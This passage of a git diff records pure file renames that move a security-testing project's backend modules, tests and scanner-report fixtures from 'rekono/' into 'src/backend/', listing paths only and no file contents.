a/rekono/security/urls.py b/src/backend/security/urls.py similarity index 100% rename from rekono/security/urls.py rename to src/backend/security/urls.py diff --git a/rekono/security/views.py b/src/backend/security/views.py similarity index 100% rename from rekono/security/views.py rename to src/backend/security/views.py diff --git a/rekono/system/__init__.py b/src/backend/system/__init__.py similarity index 100% rename from rekono/system/__init__.py rename to src/backend/system/__init__.py diff --git a/rekono/system/admin.py b/src/backend/system/admin.py similarity index 100% rename from rekono/system/admin.py rename to src/backend/system/admin.py diff --git a/rekono/system/apps.py b/src/backend/system/apps.py similarity index 100% rename from rekono/system/apps.py rename to src/backend/system/apps.py diff --git a/rekono/system/fixtures/1_default.json b/src/backend/system/fixtures/1_default.json similarity index 100% rename from rekono/system/fixtures/1_default.json rename to src/backend/system/fixtures/1_default.json diff --git a/rekono/system/migrations/0001_initial.py b/src/backend/system/migrations/0001_initial.py similarity index 100% rename from rekono/system/migrations/0001_initial.py rename to src/backend/system/migrations/0001_initial.py diff --git a/rekono/system/migrations/__init__.py b/src/backend/system/migrations/__init__.py similarity index 100% rename from rekono/system/migrations/__init__.py rename to src/backend/system/migrations/__init__.py diff --git a/rekono/system/models.py b/src/backend/system/models.py similarity index 100% rename from rekono/system/models.py rename to src/backend/system/models.py diff --git a/rekono/system/serializers.py b/src/backend/system/serializers.py similarity index 100% rename from rekono/system/serializers.py rename to src/backend/system/serializers.py diff --git a/rekono/system/urls.py b/src/backend/system/urls.py similarity index 100% rename from rekono/system/urls.py rename to src/backend/system/urls.py diff --git a/rekono/system/views.py b/src/backend/system/views.py similarity index 100% rename from rekono/system/views.py rename to src/backend/system/views.py diff --git a/rekono/targets/__init__.py b/src/backend/targets/__init__.py similarity index 100% rename from rekono/targets/__init__.py rename to src/backend/targets/__init__.py diff --git a/rekono/targets/admin.py b/src/backend/targets/admin.py similarity index 100% rename from rekono/targets/admin.py rename to src/backend/targets/admin.py diff --git a/rekono/targets/apps.py b/src/backend/targets/apps.py similarity index 100% rename from rekono/targets/apps.py rename to src/backend/targets/apps.py diff --git a/rekono/targets/enums.py b/src/backend/targets/enums.py similarity index 100% rename from rekono/targets/enums.py rename to src/backend/targets/enums.py diff --git a/rekono/targets/filters.py b/src/backend/targets/filters.py similarity index 100% rename from rekono/targets/filters.py rename to src/backend/targets/filters.py diff --git a/rekono/targets/migrations/0001_initial.py b/src/backend/targets/migrations/0001_initial.py similarity index 100% rename from rekono/targets/migrations/0001_initial.py rename to src/backend/targets/migrations/0001_initial.py diff --git a/rekono/targets/migrations/0002_auto_20230108_1356.py b/src/backend/targets/migrations/0002_auto_20230108_1356.py similarity index 100% rename from rekono/targets/migrations/0002_auto_20230108_1356.py rename to src/backend/targets/migrations/0002_auto_20230108_1356.py diff --git a/rekono/targets/migrations/__init__.py b/src/backend/targets/migrations/__init__.py similarity index 100% rename from rekono/targets/migrations/__init__.py rename to src/backend/targets/migrations/__init__.py diff --git a/rekono/targets/models.py b/src/backend/targets/models.py similarity index 100% rename from rekono/targets/models.py rename to src/backend/targets/models.py diff --git a/rekono/targets/serializers.py b/src/backend/targets/serializers.py similarity index 100% rename from rekono/targets/serializers.py rename to src/backend/targets/serializers.py diff --git a/rekono/targets/urls.py b/src/backend/targets/urls.py similarity index 100% rename from rekono/targets/urls.py rename to src/backend/targets/urls.py diff --git a/rekono/targets/utils.py b/src/backend/targets/utils.py similarity index 100% rename from rekono/targets/utils.py rename to src/backend/targets/utils.py diff --git a/rekono/targets/views.py b/src/backend/targets/views.py similarity index 100% rename from rekono/targets/views.py rename to src/backend/targets/views.py diff --git a/rekono/tasks/__init__.py b/src/backend/tasks/__init__.py similarity index 100% rename from rekono/tasks/__init__.py rename to src/backend/tasks/__init__.py diff --git a/rekono/tasks/admin.py b/src/backend/tasks/admin.py similarity index 100% rename from rekono/tasks/admin.py rename to src/backend/tasks/admin.py diff --git a/rekono/tasks/apps.py b/src/backend/tasks/apps.py similarity index 100% rename from rekono/tasks/apps.py rename to src/backend/tasks/apps.py diff --git a/rekono/tasks/enums.py b/src/backend/tasks/enums.py similarity index 100% rename from rekono/tasks/enums.py rename to src/backend/tasks/enums.py diff --git a/rekono/tasks/filters.py b/src/backend/tasks/filters.py similarity index 100% rename from rekono/tasks/filters.py rename to src/backend/tasks/filters.py diff --git a/rekono/tasks/migrations/0001_initial.py b/src/backend/tasks/migrations/0001_initial.py similarity index 100% rename from rekono/tasks/migrations/0001_initial.py rename to src/backend/tasks/migrations/0001_initial.py diff --git a/rekono/tasks/migrations/0002_initial.py b/src/backend/tasks/migrations/0002_initial.py similarity index 100% rename from rekono/tasks/migrations/0002_initial.py rename to src/backend/tasks/migrations/0002_initial.py diff --git a/rekono/tasks/migrations/__init__.py b/src/backend/tasks/migrations/__init__.py similarity index 100% rename from rekono/tasks/migrations/__init__.py rename to src/backend/tasks/migrations/__init__.py diff --git a/rekono/tasks/models.py b/src/backend/tasks/models.py similarity index 100% rename from rekono/tasks/models.py rename to src/backend/tasks/models.py diff --git a/rekono/tasks/queue.py b/src/backend/tasks/queue.py similarity index 100% rename from rekono/tasks/queue.py rename to src/backend/tasks/queue.py diff --git a/rekono/tasks/serializers.py b/src/backend/tasks/serializers.py similarity index 100% rename from rekono/tasks/serializers.py rename to src/backend/tasks/serializers.py diff --git a/rekono/tasks/services.py b/src/backend/tasks/services.py similarity index 100% rename from rekono/tasks/services.py rename to src/backend/tasks/services.py diff --git a/rekono/tasks/urls.py b/src/backend/tasks/urls.py similarity index 100% rename from rekono/tasks/urls.py rename to src/backend/tasks/urls.py diff --git a/rekono/tasks/views.py b/src/backend/tasks/views.py similarity index 100% rename from rekono/tasks/views.py rename to src/backend/tasks/views.py diff --git a/rekono/telegram_bot/__init__.py b/src/backend/telegram_bot/__init__.py similarity index 100% rename from rekono/telegram_bot/__init__.py rename to src/backend/telegram_bot/__init__.py diff --git a/rekono/telegram_bot/admin.py b/src/backend/telegram_bot/admin.py similarity index 100% rename from rekono/telegram_bot/admin.py rename to src/backend/telegram_bot/admin.py diff --git a/rekono/telegram_bot/apps.py b/src/backend/telegram_bot/apps.py similarity index 100% rename from rekono/telegram_bot/apps.py rename to src/backend/telegram_bot/apps.py diff --git a/rekono/telegram_bot/bot.py b/src/backend/telegram_bot/bot.py similarity index 100% rename from rekono/telegram_bot/bot.py rename to src/backend/telegram_bot/bot.py diff --git a/rekono/telegram_bot/commands/__init__.py b/src/backend/telegram_bot/commands/__init__.py similarity index 100% rename from rekono/telegram_bot/commands/__init__.py rename to src/backend/telegram_bot/commands/__init__.py diff --git a/rekono/telegram_bot/commands/basic.py b/src/backend/telegram_bot/commands/basic.py similarity index 100% rename from rekono/telegram_bot/commands/basic.py rename to src/backend/telegram_bot/commands/basic.py diff --git a/rekono/telegram_bot/commands/help.py b/src/backend/telegram_bot/commands/help.py similarity index 100% rename from rekono/telegram_bot/commands/help.py rename to src/backend/telegram_bot/commands/help.py diff --git a/rekono/telegram_bot/commands/selection.py b/src/backend/telegram_bot/commands/selection.py similarity index 100% rename from rekono/telegram_bot/commands/selection.py rename to src/backend/telegram_bot/commands/selection.py diff --git a/rekono/telegram_bot/context.py b/src/backend/telegram_bot/context.py similarity index 100% rename from rekono/telegram_bot/context.py rename to src/backend/telegram_bot/context.py diff --git a/rekono/telegram_bot/conversations/__init__.py b/src/backend/telegram_bot/conversations/__init__.py similarity index 100% rename from rekono/telegram_bot/conversations/__init__.py rename to src/backend/telegram_bot/conversations/__init__.py diff --git a/rekono/telegram_bot/conversations/ask.py b/src/backend/telegram_bot/conversations/ask.py similarity index 100% rename from rekono/telegram_bot/conversations/ask.py rename to src/backend/telegram_bot/conversations/ask.py diff --git a/rekono/telegram_bot/conversations/cancel.py b/src/backend/telegram_bot/conversations/cancel.py similarity index 100% rename from rekono/telegram_bot/conversations/cancel.py rename to src/backend/telegram_bot/conversations/cancel.py diff --git a/rekono/telegram_bot/conversations/execute.py b/src/backend/telegram_bot/conversations/execute.py similarity index 100% rename from rekono/telegram_bot/conversations/execute.py rename to src/backend/telegram_bot/conversations/execute.py diff --git a/rekono/telegram_bot/conversations/new_authentication.py b/src/backend/telegram_bot/conversations/new_authentication.py similarity index 100% rename from rekono/telegram_bot/conversations/new_authentication.py rename to src/backend/telegram_bot/conversations/new_authentication.py diff --git a/rekono/telegram_bot/conversations/new_input_technology.py b/src/backend/telegram_bot/conversations/new_input_technology.py similarity index 100% rename from rekono/telegram_bot/conversations/new_input_technology.py rename to src/backend/telegram_bot/conversations/new_input_technology.py diff --git a/rekono/telegram_bot/conversations/new_input_vulnerability.py b/src/backend/telegram_bot/conversations/new_input_vulnerability.py similarity index 100% rename from rekono/telegram_bot/conversations/new_input_vulnerability.py rename to src/backend/telegram_bot/conversations/new_input_vulnerability.py diff --git a/rekono/telegram_bot/conversations/new_target.py b/src/backend/telegram_bot/conversations/new_target.py similarity index 100% rename from rekono/telegram_bot/conversations/new_target.py rename to src/backend/telegram_bot/conversations/new_target.py diff --git a/rekono/telegram_bot/conversations/new_target_port.py b/src/backend/telegram_bot/conversations/new_target_port.py similarity index 100% rename from rekono/telegram_bot/conversations/new_target_port.py rename to src/backend/telegram_bot/conversations/new_target_port.py diff --git a/rekono/telegram_bot/conversations/select_project.py b/src/backend/telegram_bot/conversations/select_project.py similarity index 100% rename from rekono/telegram_bot/conversations/select_project.py rename to src/backend/telegram_bot/conversations/select_project.py diff --git a/rekono/telegram_bot/conversations/selection.py b/src/backend/telegram_bot/conversations/selection.py similarity index 100% rename from rekono/telegram_bot/conversations/selection.py rename to src/backend/telegram_bot/conversations/selection.py diff --git a/rekono/telegram_bot/conversations/states.py b/src/backend/telegram_bot/conversations/states.py similarity index 100% rename from rekono/telegram_bot/conversations/states.py rename to src/backend/telegram_bot/conversations/states.py diff --git a/rekono/telegram_bot/management/__init__.py b/src/backend/telegram_bot/management/__init__.py similarity index 100% rename from rekono/telegram_bot/management/__init__.py rename to src/backend/telegram_bot/management/__init__.py diff --git a/rekono/telegram_bot/management/commands/__init__.py b/src/backend/telegram_bot/management/commands/__init__.py similarity index 100% rename from rekono/telegram_bot/management/commands/__init__.py rename to src/backend/telegram_bot/management/commands/__init__.py diff --git a/rekono/telegram_bot/management/commands/telegram_bot.py b/src/backend/telegram_bot/management/commands/telegram_bot.py similarity index 100% rename from rekono/telegram_bot/management/commands/telegram_bot.py rename to src/backend/telegram_bot/management/commands/telegram_bot.py diff --git a/rekono/telegram_bot/messages/__init__.py b/src/backend/telegram_bot/messages/__init__.py similarity index 100% rename from rekono/telegram_bot/messages/__init__.py rename to src/backend/telegram_bot/messages/__init__.py diff --git a/rekono/telegram_bot/messages/ask.py b/src/backend/telegram_bot/messages/ask.py similarity index 100% rename from rekono/telegram_bot/messages/ask.py rename to src/backend/telegram_bot/messages/ask.py diff --git a/rekono/telegram_bot/messages/basic.py b/src/backend/telegram_bot/messages/basic.py similarity index 100% rename from rekono/telegram_bot/messages/basic.py rename to src/backend/telegram_bot/messages/basic.py diff --git a/rekono/telegram_bot/messages/constants.py b/src/backend/telegram_bot/messages/constants.py similarity index 100% rename from rekono/telegram_bot/messages/constants.py rename to src/backend/telegram_bot/messages/constants.py diff --git a/rekono/telegram_bot/messages/conversations.py b/src/backend/telegram_bot/messages/conversations.py similarity index 100% rename from rekono/telegram_bot/messages/conversations.py rename to src/backend/telegram_bot/messages/conversations.py diff --git a/rekono/telegram_bot/messages/errors.py b/src/backend/telegram_bot/messages/errors.py similarity index 100% rename from rekono/telegram_bot/messages/errors.py rename to src/backend/telegram_bot/messages/errors.py diff --git a/rekono/telegram_bot/messages/execution.py b/src/backend/telegram_bot/messages/execution.py similarity index 100% rename from rekono/telegram_bot/messages/execution.py rename to src/backend/telegram_bot/messages/execution.py diff --git a/rekono/telegram_bot/messages/findings.py b/src/backend/telegram_bot/messages/findings.py similarity index 100% rename from rekono/telegram_bot/messages/findings.py rename to src/backend/telegram_bot/messages/findings.py diff --git a/rekono/telegram_bot/messages/help.py b/src/backend/telegram_bot/messages/help.py similarity index 100% rename from rekono/telegram_bot/messages/help.py rename to src/backend/telegram_bot/messages/help.py diff --git a/rekono/telegram_bot/messages/parameters.py b/src/backend/telegram_bot/messages/parameters.py similarity index 100% rename from rekono/telegram_bot/messages/parameters.py rename to src/backend/telegram_bot/messages/parameters.py diff --git a/rekono/telegram_bot/messages/selection.py b/src/backend/telegram_bot/messages/selection.py similarity index 100% rename from rekono/telegram_bot/messages/selection.py rename to src/backend/telegram_bot/messages/selection.py diff --git a/rekono/telegram_bot/messages/targets.py b/src/backend/telegram_bot/messages/targets.py similarity index 100% rename from rekono/telegram_bot/messages/targets.py rename to src/backend/telegram_bot/messages/targets.py diff --git a/rekono/telegram_bot/migrations/0001_initial.py b/src/backend/telegram_bot/migrations/0001_initial.py similarity index 100% rename from rekono/telegram_bot/migrations/0001_initial.py rename to src/backend/telegram_bot/migrations/0001_initial.py diff --git a/rekono/telegram_bot/migrations/0002_telegramchat_user.py b/src/backend/telegram_bot/migrations/0002_telegramchat_user.py similarity index 100% rename from rekono/telegram_bot/migrations/0002_telegramchat_user.py rename to src/backend/telegram_bot/migrations/0002_telegramchat_user.py diff --git a/rekono/telegram_bot/migrations/__init__.py b/src/backend/telegram_bot/migrations/__init__.py similarity index 100% rename from rekono/telegram_bot/migrations/__init__.py rename to src/backend/telegram_bot/migrations/__init__.py diff --git a/rekono/telegram_bot/models.py b/src/backend/telegram_bot/models.py similarity index 100% rename from rekono/telegram_bot/models.py rename to src/backend/telegram_bot/models.py diff --git a/rekono/telegram_bot/security.py b/src/backend/telegram_bot/security.py similarity index 100% rename from rekono/telegram_bot/security.py rename to src/backend/telegram_bot/security.py diff --git a/rekono/telegram_bot/sender.py b/src/backend/telegram_bot/sender.py similarity index 100% rename from rekono/telegram_bot/sender.py rename to src/backend/telegram_bot/sender.py diff --git a/rekono/telegram_bot/token.py b/src/backend/telegram_bot/token.py similarity index 100% rename from rekono/telegram_bot/token.py rename to src/backend/telegram_bot/token.py diff --git a/rekono/testing/__init__.py b/src/backend/testing/__init__.py similarity index 100% rename from rekono/testing/__init__.py rename to src/backend/testing/__init__.py diff --git a/rekono/testing/api/__init__.py b/src/backend/testing/api/__init__.py similarity index 100% rename from rekono/testing/api/__init__.py rename to src/backend/testing/api/__init__.py diff --git a/rekono/testing/api/base.py b/src/backend/testing/api/base.py similarity index 100% rename from rekono/testing/api/base.py rename to src/backend/testing/api/base.py diff --git a/rekono/testing/api/test_authentications.py b/src/backend/testing/api/test_authentications.py similarity index 100% rename from rekono/testing/api/test_authentications.py rename to src/backend/testing/api/test_authentications.py diff --git a/rekono/testing/api/test_executions.py b/src/backend/testing/api/test_executions.py similarity index 100% rename from rekono/testing/api/test_executions.py rename to src/backend/testing/api/test_executions.py diff --git a/rekono/testing/api/test_findings.py b/src/backend/testing/api/test_findings.py similarity index 100% rename from rekono/testing/api/test_findings.py rename to src/backend/testing/api/test_findings.py diff --git a/rekono/testing/api/test_parameters.py b/src/backend/testing/api/test_parameters.py similarity index 100% rename from rekono/testing/api/test_parameters.py rename to src/backend/testing/api/test_parameters.py diff --git a/rekono/testing/api/test_processes.py b/src/backend/testing/api/test_processes.py similarity index 100% rename from rekono/testing/api/test_processes.py rename to src/backend/testing/api/test_processes.py diff --git a/rekono/testing/api/test_projects.py b/src/backend/testing/api/test_projects.py similarity index 100% rename from rekono/testing/api/test_projects.py rename to src/backend/testing/api/test_projects.py diff --git a/rekono/testing/api/test_resources.py b/src/backend/testing/api/test_resources.py similarity index 100% rename from rekono/testing/api/test_resources.py rename to src/backend/testing/api/test_resources.py diff --git a/rekono/testing/api/test_security.py b/src/backend/testing/api/test_security.py similarity index 100% rename from rekono/testing/api/test_security.py rename to src/backend/testing/api/test_security.py diff --git a/rekono/testing/api/test_system.py b/src/backend/testing/api/test_system.py similarity index 100% rename from rekono/testing/api/test_system.py rename to src/backend/testing/api/test_system.py diff --git a/rekono/testing/api/test_targets.py b/src/backend/testing/api/test_targets.py similarity index 100% rename from rekono/testing/api/test_targets.py rename to src/backend/testing/api/test_targets.py diff --git a/rekono/testing/api/test_tasks.py b/src/backend/testing/api/test_tasks.py similarity index 100% rename from rekono/testing/api/test_tasks.py rename to src/backend/testing/api/test_tasks.py diff --git a/rekono/testing/api/test_tools.py b/src/backend/testing/api/test_tools.py similarity index 100% rename from rekono/testing/api/test_tools.py rename to src/backend/testing/api/test_tools.py diff --git a/rekono/testing/api/test_users.py b/src/backend/testing/api/test_users.py similarity index 100% rename from rekono/testing/api/test_users.py rename to src/backend/testing/api/test_users.py diff --git a/rekono/testing/data/reports/cmseek/dvwp.json b/src/backend/testing/data/reports/cmseek/dvwp.json similarity index 100% rename from rekono/testing/data/reports/cmseek/dvwp.json rename to src/backend/testing/data/reports/cmseek/dvwp.json diff --git a/rekono/testing/data/reports/cmseek/joomla.json b/src/backend/testing/data/reports/cmseek/joomla.json similarity index 100% rename from rekono/testing/data/reports/cmseek/joomla.json rename to src/backend/testing/data/reports/cmseek/joomla.json diff --git a/rekono/testing/data/reports/cmseek/vwp.json b/src/backend/testing/data/reports/cmseek/vwp.json similarity index 100% rename from rekono/testing/data/reports/cmseek/vwp.json rename to src/backend/testing/data/reports/cmseek/vwp.json diff --git a/rekono/testing/data/reports/cmseek/wordpress.json b/src/backend/testing/data/reports/cmseek/wordpress.json similarity index 100% rename from rekono/testing/data/reports/cmseek/wordpress.json rename to src/backend/testing/data/reports/cmseek/wordpress.json diff --git a/rekono/testing/data/reports/dirsearch/default.json b/src/backend/testing/data/reports/dirsearch/default.json similarity index 100% rename from rekono/testing/data/reports/dirsearch/default.json rename to src/backend/testing/data/reports/dirsearch/default.json diff --git a/rekono/testing/data/reports/emailfinder/default.txt b/src/backend/testing/data/reports/emailfinder/default.txt similarity index 100% rename from rekono/testing/data/reports/emailfinder/default.txt rename to src/backend/testing/data/reports/emailfinder/default.txt diff --git a/rekono/testing/data/reports/emailharvester/default.txt b/src/backend/testing/data/reports/emailharvester/default.txt similarity index 100% rename from rekono/testing/data/reports/emailharvester/default.txt rename to src/backend/testing/data/reports/emailharvester/default.txt diff --git a/rekono/testing/data/reports/gitleaks/leaky-repo.json b/src/backend/testing/data/reports/gitleaks/leaky-repo.json similarity index 100% rename from rekono/testing/data/reports/gitleaks/leaky-repo.json rename to src/backend/testing/data/reports/gitleaks/leaky-repo.json diff --git a/rekono/testing/data/reports/gobuster/dir.txt b/src/backend/testing/data/reports/gobuster/dir.txt similarity index 100% rename from rekono/testing/data/reports/gobuster/dir.txt rename to src/backend/testing/data/reports/gobuster/dir.txt diff --git a/rekono/testing/data/reports/gobuster/dns.txt b/src/backend/testing/data/reports/gobuster/dns.txt similarity index 100% rename from rekono/testing/data/reports/gobuster/dns.txt rename to src/backend/testing/data/reports/gobuster/dns.txt diff --git a/rekono/testing/data/reports/gobuster/vhost.txt b/src/backend/testing/data/reports/gobuster/vhost.txt similarity index 100% rename from rekono/testing/data/reports/gobuster/vhost.txt rename to src/backend/testing/data/reports/gobuster/vhost.txt diff --git a/rekono/testing/data/reports/joomscan/exploitable.txt b/src/backend/testing/data/reports/joomscan/exploitable.txt similarity index 100% rename from rekono/testing/data/reports/joomscan/exploitable.txt rename to src/backend/testing/data/reports/joomscan/exploitable.txt diff --git a/rekono/testing/data/reports/joomscan/not-exploitable.txt b/src/backend/testing/data/reports/joomscan/not-exploitable.txt similarity index 100% rename from rekono/testing/data/reports/joomscan/not-exploitable.txt rename to src/backend/testing/data/reports/joomscan/not-exploitable.txt diff --git a/rekono/testing/data/reports/joomscan/not-joomla.txt b/src/backend/testing/data/reports/joomscan/not-joomla.txt similarity index 100% rename from rekono/testing/data/reports/joomscan/not-joomla.txt rename to src/backend/testing/data/reports/joomscan/not-joomla.txt diff --git a/rekono/testing/data/reports/log4j_scan/cve_2021_44228.txt b/src/backend/testing/data/reports/log4j_scan/cve_2021_44228.txt similarity index 100% rename from rekono/testing/data/reports/log4j_scan/cve_2021_44228.txt rename to src/backend/testing/data/reports/log4j_scan/cve_2021_44228.txt diff --git a/rekono/testing/data/reports/log4j_scan/not_vulnerable.txt b/src/backend/testing/data/reports/log4j_scan/not_vulnerable.txt similarity index 100% rename from rekono/testing/data/reports/log4j_scan/not_vulnerable.txt rename to src/backend/testing/data/reports/log4j_scan/not_vulnerable.txt diff --git a/rekono/testing/data/reports/metasploit/exploits.txt b/src/backend/testing/data/reports/metasploit/exploits.txt similarity index 100% rename from rekono/testing/data/reports/metasploit/exploits.txt rename to src/backend/testing/data/reports/metasploit/exploits.txt diff --git a/rekono/testing/data/reports/metasploit/nothing.txt b/src/backend/testing/data/reports/metasploit/nothing.txt similarity index 100% rename from rekono/testing/data/reports/metasploit/nothing.txt rename to src/backend/testing/data/reports/metasploit/nothing.txt diff --git a/rekono/testing/data/reports/nikto/default.xml b/src/backend/testing/data/reports/nikto/default.xml similarity index 100% rename from rekono/testing/data/reports/nikto/default.xml rename to src/backend/testing/data/reports/nikto/default.xml diff --git a/rekono/testing/data/reports/nmap/enumeration-vulners.xml b/src/backend/testing/data/reports/nmap/enumeration-vulners.xml similarity index 100% rename from rekono/testing/data/reports/nmap/enumeration-vulners.xml rename to src/backend/testing/data/reports/nmap/enumeration-vulners.xml diff --git a/rekono/testing/data/reports/nmap/ftp-vulnerabilities.xml b/src/backend/testing/data/reports/nmap/ftp-vulnerabilities.xml similarity index 100% rename from rekono/testing/data/reports/nmap/ftp-vulnerabilities.xml rename to src/backend/testing/data/reports/nmap/ftp-vulnerabilities.xml diff --git a/rekono/testing/data/reports/nmap/smb-analysis.xml b/src/backend/testing/data/reports/nmap/smb-analysis.xml similarity index 100% rename from rekono/testing/data/reports/nmap/smb-analysis.xml rename to src/backend/testing/data/reports/nmap/smb-analysis.xml diff --git a/rekono/testing/data/reports/nmap/smb-users.xml b/src/backend/testing/data/reports/nmap/smb-users.xml similarity index 100% rename from rekono/testing/data/reports/nmap/smb-users.xml rename to src/backend/testing/data/reports/nmap/smb-users.xml diff --git a/rekono/testing/data/reports/nuclei/tech_and_vulns.json b/src/backend/testing/data/reports/nuclei/tech_and_vulns.json similarity index 100% rename from rekono/testing/data/reports/nuclei/tech_and_vulns.json rename to src/backend/testing/data/reports/nuclei/tech_and_vulns.json diff --git a/rekono/testing/data/reports/searchsploit/exploits.json b/src/backend/testing/data/reports/searchsploit/exploits.json similarity index 100% rename from rekono/testing/data/reports/searchsploit/exploits.json rename to src/backend/testing/data/reports/searchsploit/exploits.json diff --git a/rekono/testing/data/reports/searchsploit/nothing.json b/src/backend/testing/data/reports/searchsploit/nothing.json similarity index 100% rename from rekono/testing/data/reports/searchsploit/nothing.json rename to src/backend/testing/data/reports/searchsploit/nothing.json diff --git a/rekono/testing/data/reports/smbmap/directories.txt b/src/backend/testing/data/reports/smbmap/directories.txt similarity index 100% rename from rekono/testing/data/reports/smbmap/directories.txt rename to src/backend/testing/data/reports/smbmap/directories.txt diff --git a/rekono/testing/data/reports/smbmap/shares.txt b/src/backend/testing/data/reports/smbmap/shares.txt similarity index 100% rename from rekono/testing/data/reports/smbmap/shares.txt rename to src/backend/testing/data/reports/smbmap/shares.txt diff --git a/rekono/testing/data/reports/spring4shell_scan/cve_2022_22963.txt b/src/backend/testing/data/reports/spring4shell_scan/cve_2022_22963.txt similarity index 100% rename from rekono/testing/data/reports/spring4shell_scan/cve_2022_22963.txt rename to src/backend/testing/data/reports/spring4shell_scan/cve_2022_22963.txt diff --git a/rekono/testing/data/reports/spring4shell_scan/cve_2022_22965.txt b/src/backend/testing/data/reports/spring4shell_scan/cve_2022_22965.txt similarity index 100% rename from rekono/testing/data/reports/spring4shell_scan/cve_2022_22965.txt rename to src/backend/testing/data/reports/spring4shell_scan/cve_2022_22965.txt diff --git a/rekono/testing/data/reports/spring4shell_scan/not_vulnerable.txt b/src/backend/testing/data/reports/spring4shell_scan/not_vulnerable.txt similarity index 100% rename from rekono/testing/data/reports/spring4shell_scan/not_vulnerable.txt rename to src/backend/testing/data/reports/spring4shell_scan/not_vulnerable.txt diff --git a/rekono/testing/data/reports/ssh_audit/cve_2018_10933.txt b/src/backend/testing/data/reports/ssh_audit/cve_2018_10933.txt similarity index 100% rename from rekono/testing/data/reports/ssh_audit/cve_2018_10933.txt rename to src/backend/testing/data/reports/ssh_audit/cve_2018_10933.txt diff --git a/rekono/testing/data/reports/ssh_audit/cve_2018_15473.txt b/src/backend/testing/data/reports/ssh_audit/cve_2018_15473.txt similarity index 100% rename from rekono/testing/data/reports/ssh_audit/cve_2018_15473.txt rename to src/backend/testing/data/reports/ssh_audit/cve_2018_15473.txt diff --git a/rekono/testing/data/reports/sslscan/heartbleed.xml b/src/backend/testing/data/reports/sslscan/heartbleed.xml similarity index 100% rename from rekono/testing/data/reports/sslscan/heartbleed.xml rename to src/backend/testing/data/reports/sslscan/heartbleed.xml diff --git a/rekono/testing/data/reports/sslscan/insecure-renegotiation.xml b/src/backend/testing/data/reports/sslscan/insecure-renegotiation.xml similarity index 100% rename from rekono/testing/data/reports/sslscan/insecure-renegotiation.xml rename to src/backend/testing/data/reports/sslscan/insecure-renegotiation.xml diff --git a/rekono/testing/data/reports/sslscan/protocols.xml b/src/backend/testing/data/reports/sslscan/protocols.xml similarity index 100% rename from rekono/testing/data/reports/sslscan/protocols.xml rename to src/backend/testing/data/reports/sslscan/protocols.xml diff --git a/rekono/testing/data/reports/sslyze/insecure-renegotiation.json b/src/backend/testing/data/reports/sslyze/insecure-renegotiation.json similarity index 100% rename from rekono/testing/data/reports/sslyze/insecure-renegotiation.json rename to src/backend/testing/data/reports/sslyze/insecure-renegotiation.json diff --git a/rekono/testing/data/reports/sslyze/protocols.json b/src/backend/testing/data/reports/sslyze/protocols.json similarity index 100% rename from rekono/testing/data/reports/sslyze/protocols.json rename to src/backend/testing/data/reports/sslyze/protocols.json diff --git a/rekono/testing/data/reports/sslyze/vulnerabilities.json b/src/backend/testing/data/reports/sslyze/vulnerabilities.json similarity index 100% rename from rekono/testing/data/reports/sslyze/vulnerabilities.json rename to src/backend/testing/data/reports/sslyze/vulnerabilities.json diff --git a/rekono/testing/data/reports/theharvester/scanme.json b/src/backend/testing/data/reports/theharvester/scanme.json similarity index 100% rename from rekono/testing/data/reports/theharvester/scanme.json rename to src/backend/testing/data/reports/theharvester/scanme.json diff --git a/rekono/testing/data/reports/zap/active-scan.xml b/src/backend/testing/data/reports/zap/active-scan.xml similarity index 100% rename from rekono/testing/data/reports/zap/active-scan.xml rename to src/backend/testing/data/reports/zap/active-scan.xml diff --git a/rekono/testing/data/resources/endpoints_wordlist_1.txt b/src/backend/testing/data/resources/endpoints_wordlist_1.txt similarity index 100% rename from rekono/testing/data/resources/endpoints_wordlist_1.txt rename to src/backend/testing/data/resources/endpoints_wordlist_1.txt diff --git a/rekono/testing/data/resources/endpoints_wordlist_2.txt b/src/backend/testing/data/resources/endpoints_wordlist_2.txt similarity index 100% rename from rekono/testing/data/resources/endpoints_wordlist_2.txt rename to src/backend/testing/data/resources/endpoints_wordlist_2.txt diff --git a/rekono/testing/data/resources/invalid_extension.pdf b/src/backend/testing/data/resources/invalid_extension.pdf similarity index 100% rename from rekono/testing/data/resources/invalid_extension.pdf rename to src/backend/testing/data/resources/invalid_extension.pdf diff --git a/rekono/testing/data/resources/invalid_mime_type.txt b/src/backend/testing/data/resources/invalid_mime_type.txt similarity index 100% rename from rekono/testing/data/resources/invalid_mime_type.txt rename to src/backend/testing/data/resources/invalid_mime_type.txt diff --git a/rekono/testing/data/resources/invalid_size.txt b/src/backend/testing/data/resources/invalid_size.txt similarity index 100% rename from rekono/testing/data/resources/invalid_size.txt rename to src/backend/testing/data/resources/invalid_size.txt diff --git a/rekono/testing/data/resources/passwords_wordlist.txt b/src/backend/testing/data/resources/passwords_wordlist.txt similarity index 100% rename from rekono/testing/data/resources/passwords_wordlist.txt rename to src/backend/testing/data/resources/passwords_wordlist.txt diff --git a/rekono/testing/executions/__init__.py b/src/backend/testing/executions/__init__.py similarity index 100% rename from rekono/testing/executions/__init__.py rename to src/backend/testing/executions/__init__.py diff --git a/rekono/testing/executions/test_base_tool.py b/src/backend/testing/executions/test_base_tool.py similarity index 100% rename from rekono/testing/executions/test_base_tool.py rename to src/backend/testing/executions/test_base_tool.py diff --git a/rekono/testing/executions/test_executions_from_findings.py b/src/backend/testing/executions/test_executions_from_findings.py similarity index 100% rename from rekono/testing/executions/test_executions_from_findings.py rename to src/backend/testing/executions/test_executions_from_findings.py diff --git a/rekono/testing/integrations/__init__.py b/src/backend/testing/integrations/__init__.py similarity index 100% rename from rekono/testing/integrations/__init__.py rename to src/backend/testing/integrations/__init__.py diff --git a/rekono/testing/integrations/test_nvd_nist.py b/src/backend/testing/integrations/test_nvd_nist.py similarity index 100% rename from rekono/testing/integrations/test_nvd_nist.py rename to src/backend/testing/integrations/test_nvd_nist.py diff --git a/rekono/testing/mocks/__init__.py b/src/backend/testing/mocks/__init__.py similarity index 100% rename from rekono/testing/mocks/__init__.py rename to src/backend/testing/mocks/__init__.py diff --git a/rekono/testing/mocks/defectdojo.py b/src/backend/testing/mocks/defectdojo.py similarity index 100% rename from rekono/testing/mocks/defectdojo.py rename to src/backend/testing/mocks/defectdojo.py diff --git a/rekono/testing/mocks/nvd_nist.py b/src/backend/testing/mocks/nvd_nist.py similarity index 100% rename from rekono/testing/mocks/nvd_nist.py rename to src/backend/testing/mocks/nvd_nist.py diff --git a/rekono/testing/test_case.py b/src/backend/testing/test_case.py similarity index 100% rename from rekono/testing/test_case.py rename to src/backend/testing/test_case.py diff --git a/rekono/testing/tools/__init__.py b/src/backend/testing/tools/__init__.py similarity index 100% rename from rekono/testing/tools/__init__.py rename to 